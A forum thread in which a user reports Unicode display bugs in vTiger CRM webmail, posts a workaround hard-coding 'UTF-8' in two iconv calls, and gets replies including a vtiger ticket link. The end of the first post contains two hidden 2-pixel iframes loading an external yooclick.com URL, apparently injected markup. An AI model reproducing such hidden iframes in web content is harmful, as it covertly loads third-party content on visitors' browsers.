I found the webmail can not work correctly for unicode(test enviroment:vtigercrm-5.0.4-rc4,Simplized Chinese),
and i checked the webmail code,found these two line cause the problems:
628 $element_converted = function_exists(iconv) ?
@iconv( $element_charset, $output_charset, $source[$j]->text): $source[$j]->text ;
771 $body_converted = function_exists(iconv) ?
@iconv( $body_charset, $GLOBALS, $body) : $body;
I checked the var $output_charset and $GLOBALS,both value are empty.I changed these two lines to:
++++++++++++++++++++++++++++++++++++
628 $element_converted = function_exists(iconv) ?
@iconv( $element_charset, 'UTF-8', $source[$j]->text): $source[$j]->text ;
771 $body_converted = function_exists(iconv) ?
@iconv( $body_charset, 'UTF-8', $body) : $body;
++++++++++++++++++++++++++++++++++++
Now,the webmail's body can display Simplized Chinese correctly(But i think,this is not correctly handle the code).
I found the webmail have many unicode problems,can you check it carefully? <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>; <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>;
Comments
i don't update from build-test to rc-4 if author don't change code in feature webmail i think this 2 topic useful for you.!
<!-- m --><a class="postlink" href="http://forums.vtiger.com/viewtopic.php?t=17099">http://forums.vtiger.com/viewtopic.php?t=17099</a><!-- m -->
<!-- m --><a class="postlink" href="http://forums.vtiger.com/viewtopic.php?t=17336">http://forums.vtiger.com/viewtopic.php?t=17336</a><!-- m -->
thanks good luck.!!!!
thank you for sharing the details of issue with us.
we have taken it down on our issue tracker:
<!-- m --><a class="postlink" href="http://trac.vtiger.com/cgi-bin/trac.cgi/ticket/4499">http://trac.vtiger.com/cgi-bin/trac.cgi/ticket/4499</a><!-- m -->
this issue will be addressed soon. kindly bear with us in the meantime.
regards,
prasad
vtiger team